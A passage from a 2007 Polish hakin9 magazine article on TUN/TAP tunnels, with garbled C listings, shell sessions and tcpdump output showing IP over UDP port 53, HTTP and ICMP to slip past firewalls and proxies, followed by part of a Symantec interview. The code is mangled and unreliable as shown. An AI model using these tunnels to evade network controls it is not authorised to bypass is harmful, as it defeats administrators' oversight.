mieniał pakiety między gniazdem sie-
ciowym, a deskryptorem pliku uzyska-
nym  z  funkcji  tun_alloc()  oraz  klien-
tem, który po połączeniu z serwerem
będzie analogicznie wymieniał pakie-
ty. Trzeba jednak zauważyć, że klient
może  działać  na  maszynie  bez  ze-
wnętrznego  adresu  IP  lub  znajdują-
cej  się  za  firewallem,  dlatego  też  (z
powodu  bezpołączeniowego  mode-
lu protokołu UDP) jeżeli odpowiednio
wcześniej klient nie wyśle pierwszy ja-

Listing 2a.

Funkcja udp_loop() z pliku udp.c

/*
* udp_loop() - rozpocznij wymianę pakietów po udp
*/

int

udp_loop

(

int

tunfd

int

mode

int

port

char

host

int

keepalive

)

{

struct

sockaddr_in

laddr

raddr

saddr

;

int

sockfd

size

;

char

sockbuf

[

4096

]

tunbuf

[

4096

];

struct

timeval

timeout

;

uint32_t

;

fd_set

set

;

(

port

65535

)

{

fprintf

(

stderr

"udp_loop: 65535 < port < 1."

);

return

;

}

((

sockfd

socket

(

AF_INET

SOCK_DGRAM

IPPROTO_UDP

))

)

{

fprintf

(

stderr

"udp_loop: socket() error: %s

strerror

(

errno

));

return

;

}

memset

raddr

sizeof

(

struct

sockaddr_in

));

/* tryb serwera - nasłuchujemy na podanym porcie */

(

mode

MODE_LISTEN

)

{

laddr

sin_family

AF_INET

;

laddr

sin_addr

s_addr

INADDR_ANY

;

laddr

sin_port

htons

(

port

);

(

bind

(

sockfd

(

struct

sockaddr

*)&

laddr

sizeof

(

struct

sockaddr_

))

)

{

fprintf

(

stderr

"udp_loop: bind() error: %s

strerror

(

errno

));

return

;

}

/* tryb klienta - łączymy się z podanym hostem */

else

(

mode

MODE_CONNECT

)

{

((

resolve

(

host

))

)

{

fprintf

(

stderr

, „

udp_loop

():

nie

mog

znale

źć

hosta

”,

host

);

return

;

}

raddr

sin_family

AF_INET

;

raddr

sin_port

htons

(

port

);

raddr

sin_addr

s_addr

;

/* rozpocznijmy od przedstawienia się serwerowi wysyłając nasz

kontrolny pakiet keep-alive */

sendto

(

sockfd

UDP_KEEPALIVE_STRING

UDP_KEEPALIVE_LENGTH

(

struct

sockaddr

*)&

raddr

sizeof

(

struct

sockaddr_

));

(

)

{

fprintf

(

stderr

"udp_loop: sendto() error: %s

strerror

(

errno

));

}

/* główna pętla - nieskończona wymiana pakietów */

while

(

)

{

FD_ZERO

set

);

/* sprawdzaj, czy na tych deskryptorach są dane do odczytu */

FD_SET

(

sockfd

set

);

FD_SET

(

tunfd

set

);

timeout

tv_usec

;

timeout

tv_sec

keepalive

;

/* sprawdź, czy są już dane do odczytu */

select

(

FD_SETSIZE

set

NULL

(

mode

MODE_CONNECT

)

timeout

NULL

);

(

)

{

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

kichś pakietów, serwer nie będzie miał
możliwości wysłać danych do klienta.
Wówczas będziemy po stronie klienta
wysyłać co dany interwał czasowy pa-
kiet „keep-alive”, jeżeli w odpowiednim
przedziale czasowym nie było żadne-
go ruchu.

Przyjrzyjmy się Listingowi 2 za-

wierającego  funkcję    udp_loop()  z
pliku  udp.c  będącą  transportem  pa-
kietów  dla  naszego  pierwszego  tu-
nelu:

int udp_loop(int tunfd, int mode,
int port, char *host, int keepalive)

Funkcja  ta  jako  pierwszy  argument
przyjmuje  deskryptor  interfejsu  tun
uzyskanego z funkcji tun_alloc() (Li-
sting  1),  będącego  początkiem  na-
szego  tunelu.  Jego  końcem  będzie
gniazdo sieciowe:

sockfd = socket(AF_INET, SOCK_DGRAM,
IPPROTO_UDP)

z którego, w przypadku serwera (mo-

de == MODE_LISTEN), będziemy ko-
rzystać poprzez przypisanie do gniaz-
da odpowiedniego adresu zapisanego
w strukturze sockaddr_in laddr:

bind(sockfd, (struct sockaddr *)&laddr,
sizeof(struct
sockaddr_in))

oraz dla klienta (mode == MODE_

CONNECT) poprzez zdefiniowanie
adresata wysyłanych przez gniazdo
pakietów, wypełniając strukturę soc-

kaddr_in raddr.

Wszystkie przygotowania zosta-

ły  poczynione  –  mamy  już  dwa  de-
skryptory (tunfd i sockfd), od strony
aplikacji pozostało więc już tylko zor-
ganizowanie  samej  wymiany  pakie-
tów między nimi. Do monitorowania,
czy  na  naszych  deskryptorach  są
nowe dane użyjemy funkcji select(),
która wyeliminuje problem blokowa-
nia  aplikacji  przy  odczycie  (funkcje

read()/recvfrom()) w przypadku, gdy
na  wejściu  nie  ma  jeszcze  nowych
danych.  Do  definiowania,  jakie  de-
skryptory  chcemy  monitorować  słu-
ży  makro  FD_SET(),  do  sprawdza-
nia,  czy  dany  deskryptor  jest  goto-

Listing 2b.

Funkcja udp_loop() z pliku udp.c

fprintf

(

stderr

"udp_loop: select() error: %s

strerror

(

errno

));

continue

;

}

else

(

)

{

/* timeout! wyślijmy pakiet keep-alive */

sendto

(

sockfd

UDP_KEEPALIVE_STRING

UDP_KEEPALIVE_LENGTH

(

struct

sockaddr

*)&

raddr

sizeof

(

struct

sockaddr_

));

(

)

{

fprintf

(

stderr

"udp_loop: sendto() error: %s

strerror

(

errno

));

}

/* pojawiły się dane z sieci */

(

FD_ISSET

(

sockfd

set

))

{

size

sizeof

(

struct

sockaddr_in

);

memset

(

sockbuf

4096

);

recvfrom

(

sockfd

sockbuf

4096

(

struct

sockaddr

*)&

saddr

(

socklen_t

*)&

size

);

(

)

{

fprintf

(

stderr

"udp_loop: recvfrom() error: %s

strerror

(

errno

));

}

else

{

raddr

sin_addr

s_addr

)

{

fprintf

(

stderr

"udp_loop: rozpoczynamy transport z

pakietów z %s

inet_ntoa

(

saddr

sin_addr

));

memcpy

raddr

saddr

sizeof

(

struct

sockaddr_in

));

}

else

(

raddr

sin_addr

s_addr

saddr

sin_addr

s_addr

)

{

fprintf

(

stderr

"udp_loop: przyszedł pakiet od %s,

podczas gdy czekamy rozmawiamy tylko z %s

inet_

ntoa

(

raddr

sin_addr

)

inet_ntoa

(

raddr

sin_addr

));

continue

;

}

/* jeżeli to nie pakiet keep-alive, przekażmy go do tunelu */

(

UDP_KEEPALIVE_LENGTH

strncmp

(

sockbuf

UDP_

KEEPALIVE_STRING

UDP_KEEPALIVE_LENGTH

))

write

(

tunfd

sockbuf

);

(

)

{

fprintf

(

stderr

"udp_loop: write(tunfd) error: %s

strerror

(

errno

));

}

/* pojawiły się dane z interfejsu tunelu */

(

FD_ISSET

(

tunfd

set

))

{

read

(

tunfd

tunbuf

4096

);

(

)

{

fprintf

(

stderr

"udp_loop: read(tunfd) error: %s

strerror

(

errno

));

}

else

{

sendto

(

sockfd

tunbuf

(

struct

sockaddr

*)&

raddr

sizeof

(

struct

sockaddr_in

));

(

)

{

fprintf

(

stderr

"udp_loop: sendto() error: %s

strerror

(

errno

));

}

return

;

}

hakin9 Nr 2/2007

www.hakin9.org

Obrona

wy - FD_ISSET(). Funkcja select()
zwraca -1 w przypadku błędu (np.
spowodowanego wysłaniem jakiego-
kolwiek sygnału do procesu), liczbę
gotowych deskryptorów plików, lub 0
w przypadku gdy upłynął czas okre-
ślony w strukturze timeout (o ile zo-
stała podana), zatem:

select(FD_SETSIZE, &set, NULL, NULL,
(mode == MODE_CONNECT) ? &timeout :

NULL)

zwróci nam wartość większą od ze-
ra  w  przypadku  gotowości  do  od-
czytu  z  któregoś  z  deskryptorów,
lub  -  w  przypadku  klienta  -  0,  kie-
dy wystąpi czas bezczynności zde-
finiowany przez zmienną

keepalive

co wykorzystamy do podtrzymania
połączenia  poprzez  wysyłanie  pa-
kietu  kontrolnego.  Wypada  jesz-
cze  zabezpieczyć  się  przed  sy-
tuacją,  kiedy  otrzymujemy  pakie-
ty  z  innych  adresów  (w  tym  ce-
lu  porównujemy  adres  zaufanego
partnera

raddr.sin _ addr.s _ addr

z adresem źródłowym pakietu

saddr.sin _ addr.s _ addr

). Teraz już

tylko przekazujemy w nieskończo-
nej pętli pakiety między

tunfd

(funk-

cje

read()

write()

), a

sockfd

(funk-

cje

recvfrom()

sendto()

Wszystko gotowe, stworzyliśmy

jeszcze  pliki  udptun.c  oraz  misc.h
(znajdują  się  na  płycie),  które  po-
zwolą  skorzystać  z  wcześniej  na-
pisanych funkcji. Kompilujemy źró-
dła:

root@catharsis:~# gcc -c tun.c
root@catharsis:~# gcc -c udp.c
root@catharsis:~# gcc udptun.c -o
udptun tun.o udp.o
root@catharsis:~# ./udptun -h
Użycie:
./udptun -l -p <port>
lub
./udptun -c <host> -p <port>
[-k <czas>]
root@catharsis:~#

uruchamiamy na zdalnym serwerze
w trybie daemona:

root@kajmany:~# ./udptun -l -p 53
tun_alloc() udane, tundev=tun0

Listing 4.

Plik form.php

php

(

isset

(

$_POST

[

'name'

]))

echo

"przesłałeś

$_POST

[name]

;

else

echo

form action=

'$_SERVER[PHP_SELF]'

method=

'POST'

input

name=

'name'

input type=

'submit'

value=

'wyślij'

form

Listing 3.

Krótka sesja sniffera tcpdump po stronie serwera

kajmany

home

drg

tcpdump

udp

port

tcpdump

verbose

output

suppressed

use

for

full

protocol

decode

listening

eth0

link

type

EN10MB

(

Ethernet

)

capture

size

bytes

40.343749

catharsis

.33346

kajmany

domain

]

40.462073

catharsis

.33346

kajmany

domain

17664

[

0x3c

]

[

16384

]

[

13200

]

[

16390

]

[

62249

][|

domain

]

40.462155

kajmany

domain

catharsis

.33346

17664

[

0x3c

]

[

16384

]

[

]

[

16390

]

[

9914

]

(

)

40.562377

catharsis

.33346

kajmany

domain

17664

[

0x34

]

[

16384

]

[

13201

]

[

16390

]

[

62256

][|

domain

]

40.570868

kajmany

domain

catharsis

.33346

17664

[

0x53

]

[

16384

]

[

26553

]

[

16390

]

[

48873

][|

domain

]

40.669177

catharsis

.33346

kajmany

domain

17664

[

0x34

]

[

16384

]

[

13202

]

[

16390

]

[

62255

][|

domain

]

40.669193

catharsis

.33346

kajmany

domain

17664

[

0x5a

]

[

16384

]

[

13203

]

[

16390

]

[

62216

][|

domain

]

40.670382

kajmany

domain

catharsis

.33346

17664

[

0x34

]

[

16384

]

[

26554

]

[

16390

]

[

48903

][|

domain

]

40.671684

kajmany

domain

catharsis

.33346

17664

[

0x2f4

]

[

16384

]

[

26555

]

[

16390

]

[

48198

][|

domain

]

40.788911

catharsis

.33346

kajmany

domain

17664

[

0x2fc

]

[

16384

]

[

13204

]

[

16390

]

[

61541

][|

domain

]

40.819748

catharsis

.33346

kajmany

domain

17664

[

0x34

]

[

16384

]

[

13205

]

[

16390

]

[

62252

][|

domain

]

40.819796

kajmany

domain

catharsis

.33346

17664

[

0x34

]

[

16384

]

[

26556

]

[

16390

]

[

48901

][|

domain

]

40.922967

catharsis

.33346

kajmany

domain

17664

[

0x4c

]

[

16384

]

[

13206

]

[

16390

]

[

62227

][|

domain

]

40.926234

kajmany

domain

catharsis

.33346

17664

[

0xcc

]

[

16384

]

[

26557

]

[

16390

]

[

48748

][|

domain

]

41.027619

catharsis

.33346

kajmany

domain

17664

[

0x34

]

[

16384

]

[

13207

]

[

16390

]

[

62250

][|

domain

]

41.031865

catharsis

.33346

kajmany

domain

17664

[

0xc4

]

[

16384

]

[

13208

]

[

16390

]

[

62105

][|

domain

]

41.033878

kajmany

domain

catharsis

.33346

17664

[

0x204

]

[

16384

]

[

26558

]

[

16390

]

[

48435

][|

domain

]

41.155678

catharsis

.33346

kajmany

domain

17664

[

0x44

]

[

16384

]

[

13209

]

[

16390

]

[

62232

][|

domain

]

41.195147

kajmany

domain

catharsis

.33346

17664

[

0x34

]

[

16384

]

[

26559

]

[

16390

]

[

48898

][|

domain

]

41.295696

catharsis

.33346

kajmany

domain

17664

[

0x64

]

[

16384

]

[

13210

]

[

16390

]

[

62199

][|

domain

]

41.295893

kajmany

domain

catharsis

.33346

17664

[

0x34

]

[

16384

]

[

26560

]

[

16390

]

[

48897

][|

domain

]

41.295903

kajmany

domain

catharsis

.33346

17664

[

0x64

]

[

16384

]

[

26561

]

[

16390

]

[

48848

][|

domain

]

41.403684

catharsis

.33346

kajmany

domain

17664

[

0x74

]

[

16384

]

[

13211

]

[

16390

]

[

62182

][|

domain

]

41.404019

kajmany

domain

catharsis

.33346

17664

[

0x74

]

[

16384

]

[

26562

]

[

16390

]

[

48831

][|

domain

]

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

oraz lokalnie, klienta:

root@catharsis:~# ./udptun -c kajmany

-p 53 -k 1

tun_alloc() udane, tundev=tun0

Tunel gotowy. No prawie. W systemie
pojawił się nowy interfejs – tun0:

root@catharsis:~# ifconfig tun0
tun0 Link encap:UNSPEC HWaddr
00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00-00
POINTOPOINT NOARP MULTICAST
MTU:1500 Metric:1
RX packets:0 errors:
0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0
dropped:
0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
root@catharsis:~#

i taki sam na zdalnym serwerze.
Trzeba je teraz odpowiednio połą-
czyć. Do tego celu użyjemy starego,
dobrego

ifconfiga

, lub nowego lep-

szego

iproute2

Linux, ifconfig:

ifconfig tun0 10.0.0.1 pointopoint

10.0.0.2 netmask 255.255.255.255

Linux, iproute2:
ip addr add 10.0.0.1

Rysunek 1.

Schemat tunelu TUN/TAP z przykładowym pakietem IP-over-UDP

Internet

84.10.175.75

80.86.83.189

10.0.0.1

10.0.0.2

Tunel

Aplikacja

Klient

Nagłówek IP w warstwie Internetu

Nagłówek IP w warstwie tunelu

Payload IP w warstwie tunelu

Zawartość pakietu przechodzącego przez

Internet w przypadku tunelu IP-over-UDP

Nagłówek UDP w warstwie Internetu

Aplikacja

Serwer

eth0

tun0

Pakiet IP

w Internecie

Pakiet IP w tunelu

Listing 5.

sesja telnet do serwera WWW

drg

catharsis

telnet

kajmany

Trying

192.168

69.7

...

Connected

kajmany

Escape

character

]

GET

form

php

HTTP

1.0

Connection

Keep

Alive

HTTP

1.1

200

Date

Wed

Nov

2006

GMT

Server

Apache

2.2

Powered

PHP

4.4

Content

Length

108

Keep

Alive

timeout

max

100

Connection

Keep

Alive

Content

Type

text

html

;

charset

UTF

form

action

form

php

method

POST

input

name

input

type

submit

value

wyslij

form

POST

form

php

HTTP

1.0

Connection

Content

Type

application

www

form

urlencoded

Content

Length

name

value

HTTP

1.1

200

Date

Wed

Nov

2006

GMT

Server

Apache

2.2

Powered

PHP

4.4

Content

Length

Connection

Content

Type

text

html

;

charset

ISO

8859

przes

value

Connection

closed

foreign

host

drg

catharsis

hakin9 Nr 2/2007

www.hakin9.org

Obrona

dev tun0 peer 10.0.0.2
ip link set tun0 up
FreeBSD, ifconfig:
ifconfig tun0 10.0.0.1
10.0.0.2 netmask 0xffffffff

I po drugiej stronie tunelu analogicz-
nie, zamieniając kolejność adresów,
czyli:

ifconfig tun0 10.0.0.2 pointopoint
10.0.0.1 netmask 255.255.255.255

Test, czy wszystko działa:

root@catharsis:~# ping -c1 10.0.0.2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes
of data.
64 bytes from 10.0.0.2: icmp_seq=1
ttl=64 time=99.3 ms
[...]
root@catharsis:/~# ssh drg@10.0.0.2
The authenticity of host '10.0.0.2
(10.0.0.2)' can't be established.
RSA key fingerprint is 15:eb:94:e4:c9:
7e:e0:26:e9:bb:98:f1:9e:80:55:dd.
Are you sure you want to continue
connecting (yes/no)? yes
Warning: Permanently added '10.0.0.2'
(RSA) to the list of known hosts.
Password:
Last login: Tue Nov 21 19:01:52 2006
from hawaje
drg@kajmany:~$

Listing 3 pokazuje przykładowy trans-
port pakietu zarejestrowany narzę-
dziem tcpdump po stronie serwera.
Mając już ostatecznie zestawiony tu-

nel, możemy po stronie serwera zor-
ganizować NAT:

kajmany:~# echo 1 > /proc/sys/net/ipv4/
ip_forward
kajmany:~# iptables -I FORWARD -j
ACCEPT
kajmany:~# iptables -t nat -I
POSTROUTING -s 10.0.0.0/24 -o eth0
-j SNAT --to kajmany

Określić odpowiednie trasy routingu
po stronie klienta:

root@catharsis:~# route add kajmany
domyślny.gw.aktualnego.ISP
root@catharsis:~# route delete default
root@catharsis:~# route add default
gw 10.0.0.2

I tym oto sposobem cały nasz ruch IP
przechodzi  przez  zdalny  serwer  kaj-
many  na  porcie  53  protokołu  UDP,
dokonaliśmy  czyli  czegoś,  co  moż-
na nazwać IP-over-UDP bądź ściślej
ten przypadek - IP-over-DNS. Wpraw-
dzie wzmożony ruch na usłudze DNS
powinien  się  wydać  użytkownikowi
co  najmniej  podejrzany,  jednak  ad-
ministratorom  mojego  ISP  1.7GB  ta-
kich pakietów w ciągu dwóch dni nie
przeszkadzało.  Rysunek  1  przedsta-
wia schemat stworzonego przez nas
właśnie tunelu.

W przypadku, gdy chcemy zmianić

hasła  do  konta  znajdującego  się  na
naszym  serwerze,  możemy  włącza-
my bluetooth w komórce chcąc usta-
nowić  połączenie  z  Internetem.  Gdy
jest to niemożliwe, a jesteśmy w zasię-
gu nieszyfrowanej sieci bezprzewodo-
wej i otrzymamy wszystkie ustawienia
po DHCP, możemy spróbować się po-
łączyć z naszym serwerem po ssh. Je-
żeli na pingi odpowiada, ale nie można
wejść ani na ssh, ani na ftp, ani na jab-
bera (www jednak działa), oznacza to,
że  w  sieci  bezprzewodowej  wyfiltro-
wane  jest  wszystko  oprócz  portu  80
protokołu TCP. Jeśli na jednym z na-
szych  serwerów  postawiliśmy  kiedyś
usługę ssh, która zamiast na standar-
dowym porcie 22, nasłuchuje na por-
cie 80 – przydaje się ona właśnie na
takie okazje. Klient ssh połączenia nie
zestawia. Podejrzewamy, co może być
tego przyczyną – łączymy się więc tel-

netem  na  port  80  naszej  maszyny  i
wszystko  staje  się  jasne.  To  serwer
proxy,  który  wtrąca  się  między  nas,
a  serwery  WWW  w  Internecie,  speł-
niając funkcję pośrednika i jednocze-
śnie ograniczając nas faktycznie tylko
do  ruchu  HTTP.  Jest  to  częsta  prak-
tyka  otwartych  sieci  bezprzewodo-
wych,  sieci  firmowych,  szkolnych,  bi-
bliotecznych.  Okazuje się również, że
port 443 (HTTPS) jest również wycię-
ty, więc i sshd na innym serwerze na
tymże  porcie  nie  pomoże.  Zapytania
DNS przepuszczane są tylko na lokal-
ne serwery nazw uzyskane z DHCP,
więc  wcześniejsza  idea  też  się  nie
sprawdzi. Co więc zrobić?

IP-over-HTTP

Ustaliliśmy wcześniej, że jeżeli tyl-
ko możemy odbierać i wysyłać jakie-
kolwiek dane w sieci, możemy za po-
mocą tuneli TUN/TAP stworzyć po-
łączenie punkt-do-punkt ze zdal-
nym hostem i zagwarantować sobie
tym samym przepływ ruchu IP przez
wirtualny interfejs tunX, a następnie,
konfigurując koniec tunelu jako bra-
mę sieciową, zdobyć dostęp do sie-
ci osiągalnych przez zdalny kompu-
ter (np. do sieci Internet).

Przeanalizujmy więc wyżej opi-

sany  przypadek.  Nie  możemy  swo-
bodnie  wysyłać  pakietów  na  żad-
ną z usług protokołu TCP  czy UDP,
możemy  jedynie  przeglądać  strony
WWW.  Spójrzmy  na  malutki  formu-
larz w PHP umieszczony na serwe-
rze  WWW  (Listing  4).  Jego  działa-
nie jest bardzo proste – jeżeli nie wy-
syłamy  żadnych  danych,  wyświetla
nam formularz do wypełnienia, jeże-
li formularz wypełnimy i dane wyśle-
my, pokaże nam co wprowadziliśmy.

Przeglądarka internetowa chcąc

wyświetlić stronę WWW używa po-
lecenia GET protokołu HTTP, jeżeli
natomiast chce wysłać dane do for-

O autorze

Autor od kilku lat współpracuje z róż-
nymi firmami z branży IT jako admini-
strator sieci, systemu oraz programi-
sta, aktualnie prowadzi własną firmę.
Stworzył wiele programów sieciowych
głównie w języku C.

Listing 6.

Struktura pakietu

ICMP

struct

icmphdr

{

__u8

type

;

__u8

code

;

__u16

checksum

;

union

{

struct

{

__u16

;

__u16

sequence

;

}

echo

;

__u32

gateway

;

struct

{

__u16

__unused

;

__u16

mtu

;

}

frag

;

}

;

}

;

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

mularza, używa metody POST, GET
lub PUT (w zależności od okoliczno-
ści), my użyjemy POST. Listing 5 po-
kazuje sesję programu telnet udają-
cego przeglądarkę WWW.

Jak widać, za pomocą protoko-

łu HTTP, czy to z pośredniczącym po
drodze  serwerze  proxy,  czy  też  bez
niego,  możemy  odbierać  i  wysyłać
dane.  By  zrealizować  więc  nasz  cel
(zmienić  hasło,  wcześniej  logując  się
przez  ssh  na  serwer),  musimy  stwo-
rzyć  dwie  aplikacje  –  aplikację  ser-
wera,  która  będzie  udawała  demona
WWW oraz aplikację klienta, udającą
przeglądarkę internetową. Funkcjonal-
ność tych programów będzie oczywi-
ście daleko odbiegać od funkcjonalno-
ści realnego demona i przeglądarki, je-
dyne bowiem o co się trzeba zatrosz-
czyć  to  otwarcie  interfejsu  tun  oraz
przekazywanie  do  i  z  niego  pakietów
przez Internet za pośrednictwem pro-
tokołu HTTP opakowując je odpowied-
nimi nagłówkami jak na Listingu 5.

Należy jednak zauważyć, że w

przeciwieństwie  do  poprzedniego
przykładu, aplikacja serwera musi tym
razem kolejkować pakiety do wysłania
z interfejsu tunelu, ponieważ może je
wysłać tylko wtedy, kiedy klient zaini-
cjuje połączenie. Widać też, że narzut
dodatkowych danych (nagłówki proto-
kołu  HTTP)  jest  dużo  większy  niż  w
przypadku IP-over-UDP. Ta droga bę-
dzie  więc  zdecydowanie  mniej  efek-
tywna  niż  przypadek  poprzedni,  jed-
nak na pewno wystarczy, by zmienić
hasło.  Istnieje  kilka  możliwości,  któ-
re  zwiększą  efektywność  tunelowa-
nia IP protokołem HTTP, jak np. me-
toda CONNECT, która otwiera bezpo-
średnie połączenie TCP z danym ho-
stem  (służąca  m.in.do  nawiązywania
połączeń  SSL),  wysłanie  żądania  o
niezamykanie  od  razu  połączenia  po
przesłaniu  danych  (dodając  nagłówki

Connection: Keep-Alive/Proxy-Con-

nection: Keep-Alive oraz Keep-Alive:

czas  podtrzymania  połączenia)  czy
też  utrzymywanie  jednego  tunelu  za
pomocą kilku równoległych połączeń.
Zapraszam  do  zapoznania  się  z  na-
rzędziem HTun, dostępnym na płycie
dołączonej do magazynu i jego kodem
źródłowym,  który  jest  dość  komplek-
sowym rozwiązaniem tuneli HTTP.

IP-over-ICMP

Załóżmy,  że  w  wyżej  opisanej  sy-
tuacji,  serwer  proxy  nagle  przesta-
je działać. Nie mamy więc sieci, ca-
ły ruch TCP i UDP odpada. Ale obok
tych  dwóch  jest  jeszcze  jeden  pro-
tokół,  którego  nie  sprawdziliśmy
–  ICMP.  Jest  on  wykorzystywany
do  diagnozowania  sieci  (używa  go
między innymi polecenie

ping)

. Wy-

syłamy więc do naszego zaufanego
serwera pakiet ICMP_ECHO (

ping

kajmany

), a ten odpowiada nam pa-

kietem  ICMP_ECHOREPLY  –  ruch
ICMP  nie  jest  wycięty.  Trzeba  więc
stworzyć  aplikację,  która  będzie
działała identycznie do tej z IP-over-
UDP, z tą różnicą, że zanim wyśle-
my dane odebrane z interfejsu tunX,
poprzedzimy  je  pakietem  ICMP  (Li-
sting  6), natomiast po odczycie da-
nych z sieci, pominiemy nagłówki IP i
ICMP wysyłając do deskryptora pliku
tunelu  właściwe  dane.  Spójrzmy  na
funkcję

icmp _ loop()

będącą odpo-

wiednikiem

udo _ loop()

z pierwsze-

go programu, znajdującą się w pli-
ku icmp.c załączonego na płycie. By
wysłać pakiet ICMP musimy wypeł-
nić strukturę

icmp

odpowiednimi war-

tościami, np:

icmp->type = (mode =z= MODE_LISTEN) ?
ICMP_ECHOREPLY : ICMP_ECHO;
icmp->un.echo.id = id;
icmp->un.echo.sequence = 10;
icmp->checksum = 0;

wprawdzie pole checksum powin-
no zawierać sumę kontrolną pakie-
tu, jednak w pozwolimy sobie o tym
zapomnieć. Następnie możemy wy-
słać nasz pakiet, w którym właści-
we dane poprzedzone są nagłów-
kiem ICMP:

sendto(sockfd, (char*)icmp, len,
0, (struct sockaddr*)&raddr,
sizeof(struct
sockaddr_in));

Po odebraniu pakietu z sieci, nagłó-
wek ICMP nadawcy znajduje się za-
raz za nagłówkiem IP:

icmpr = (struct icmphdr*)(packet+sizeof
(struct ip));

po sprawdzeniu, czy to dane, na któ-
re czekaliśmy, możemy zapisać je do
deskryptora tunelu po naszej stronie,
oczywiście z pominięciem nagłówka
IP oraz ICMP:

write(tunfd, packet + sizeof(struct ip)
+ sizeof(struct icmphdr), rv -
sizeof(struct ip)-sizeof(struct

icmphdr));

Po skompilowaniu źródeł i wyłącze-
niu obsługi pakietów ICMP_ECHO
przez system (w Linuksie zrobi to dla
nas komenda):

echo 1 > /proc/sys/net/ipv4/icmp_echo_
ignore_all ), możemy z powodzeniem
zestawić tunel IP-over-ICMP
analogicznie
jak zrobiliśmy to w przykładzie z UDP.

Podsumowanie

Jak widać, mechanizm tuneli TUN/TAP
to  całkiem  potężne  narzędzie.  Dzięki
niemu, w sytuacjach kiedy mamy na-
wet bardzo ograniczony dostęp do od-
ległej sieci, jesteśmy w stanie otworzyć
sobie na nią okno poprzez wirtualny tu-
nel  IP.  Ograniczyliśmy  się  wprawdzie
do  wykorzystywania  jako  transportu
dla  naszych  tuneli  sieci  Internet,  jed-
nak możemy wykorzystać do tego za-
miast  karty  sieciowej  innego  sprzętu,
na przykład interfejsu bluetooth, portu
podczerwieni, usb, czy też samodziel-
nie  zbudowanego  urządzenia  umożli-
wiającego przesyłanie danych.

Tunele TUN/TAP są jednak

przede  wszystkim  wykorzystywane
do  tworzenia  Wirtualnych  Sieci  Pry-
watnych  (ang.  Virtual    Private  Ne-

twork – VPN), a więc w bardzo wielu
firmach  niezależnie  od  ich  wielkości.
Oprogramowanie  bowiem  do  zesta-
wiania  takich  tuneli  (jak  na  przykład
OpenVPN) umożliwia szyfrowanie ca-
łego połączenia, tak więc w momen-
cie gdy będąc w niezaufanym środo-
wisku  (np.  nieszyfrowana  sieć  bez-
przewodowa  bądź  niepewny  sprzęt,
do  którego  się  podłączamy)  trzeba
skorzystać z zasobów firmy, możemy
zestawić z nią szyfrowane połączenie
VPN – wykorzystując do tego właśnie
omawiane w tym artykule tunele. l

www.hakin9.org

hakin9 Nr 2/2007

Wywiad

hakin9:

Jak wygląda obsługa MS Visty w

Nortonie AV i Firewall?

Jarosław Samonek:

Nasze produkty bę-

dą kompatybilne z Vistą i będą chroniły użyt-
kowników indywidualnych oraz firmy przed po-
jawiającymi się zagrożeniami. Zarówno udo-
stępniona niedawno nowa wersja oprogramo-
wania dla użytkowników końcowych – Nor-

ton  AntiVirus,  jak  i  nowa  wersja  oprogramo-
wania  dedykowanego  dla  małych  firm  i  du-
żych  przedsiębiorstw  czyli  Symantec  AntiVi-

rus Corporate Edition są przygotowane do
współpracy z Vistą.

Ostateczne testy zostaną przeprowadzone

w momencie pojawienia się systemu. W chwi-
li obecnej na naszej stronie opublikowane są
pierwsze wersje testowe dla użytkowników,
którzy pobrali wersję testową Visty.

h9:

Czy nie boją się Państwo konkurencji

jaką jest koncern Microsoft i programy AV?

JS:

Nie. Symantec jest światowym lide-

rem  na  rynku  programów  do  zabezpieczeń.
Udowodniliśmy,  że  w  sytuacji,  gdy  klient  ma
możliwość wyboru rozwiązania do zapewnie-
nia  bezpieczeństwa  swojego  komputera,  wy-
biera  rozwiązania  Symantec.  Windows  One-
Care jest od pewnego czasu obecne na ryn-

ku, a nasze rozwiązania nadal bardzo dobrze
się sprzedają.

h9:

Jak wygląda obsługa firm małych

i średnich w stosunku do dużych korporacji?

JS:

W przypadku tradycyjnych rozwiązań

zabezpieczających, takich jak oprogramowanie
antywirusowe czy narzędzia do tworzenia kopii
zapasowych, zainteresowanie małych firm rze-
czywiście rośnie. Co więcej, szacuje się, że za-
interesowanie to przez długi czas się utrzyma,
gdyż rynek w dalszym ciągu nie jest jeszcze w
pełni nasycony. Użytkownicy albo nie dysponu-
ją jakimikolwiek programami ochronnymi, albo
posiadają  bardzo  proste  rozwiązania,  których
funkcjonalność  z  czasem  przestanie  być  wy-
starczająca. Rynek małych firm w Polsce jest
przede wszystkim bardzo wrażliwy na ceny. W
przypadku  bardziej  zaawansowanych  techno-
logii, obserwujemy znacznie większe zaintere-
sowanie  ze  strony  dużych  firm,  które  podsta-
wowe technologie już dawno wdrożyły. Firmy te
chcą w dalszym ciągu zabezpieczać swoje śro-
dowiska i zmniejszać poziom ryzyka związany
z zagrożeniami.

h9:

Czy zainteresowanie indywidualnego

klienta wzrasta równie intensywnie jak wzrost
zagrożeń?

Wywiad z Jarosławem

Samonkiem – firma

SYMANTEC

Od 1999 roku kieruje polskim

oddziałem firmy Symantec. Był

odpowiedzialny za wdrożenia

kompleksowych rozwiązań

bezpieczeństwa w wielu

międzynarodowych koncernach,

instytucjach administracji państwowej

i przedsiębiorstwach sektora

finansowego. Ukończył wydział

organizacji i zarządzania w przemyśle

na Politechnice Warszawskiej.

Jarosław Samonek

JS:

Wzrost zainteresowania programami zabezpie-

czającymi u klientów indywidualnych wynika między in-
nymi ze wzrostu dostępności Internetu w Polsce. Ceny
szerokopasmowego dostępu spadają, więc osoby, które
do tej pory nie korzystały z sieci, lub korzystały spora-
dycznie, zaczęły wykorzystywać to medium w szerszym
zakresie, używając programów pocztowych, bankowo-
ści on-line, tworząc własne strony WWW itd. Ponad-
to rośnie ilość transakcji realizowanych drogą elektro-
niczną, a tym samym związanych z nimi zagrożeń. Nic
więc dziwnego, że przeciętny użytkownik jest coraz bar-
dziej zainteresowany kwestiami bezpiecznego korzysta-
nia z Internetu.

h9:

Ruszyła telewizja nowej generacji, telewizja N,

czy z Pana punktu widzenia zagrożenia połączeń wzro-
sną?

JS:

Pojawienie się nowych technologii zawsze niesie

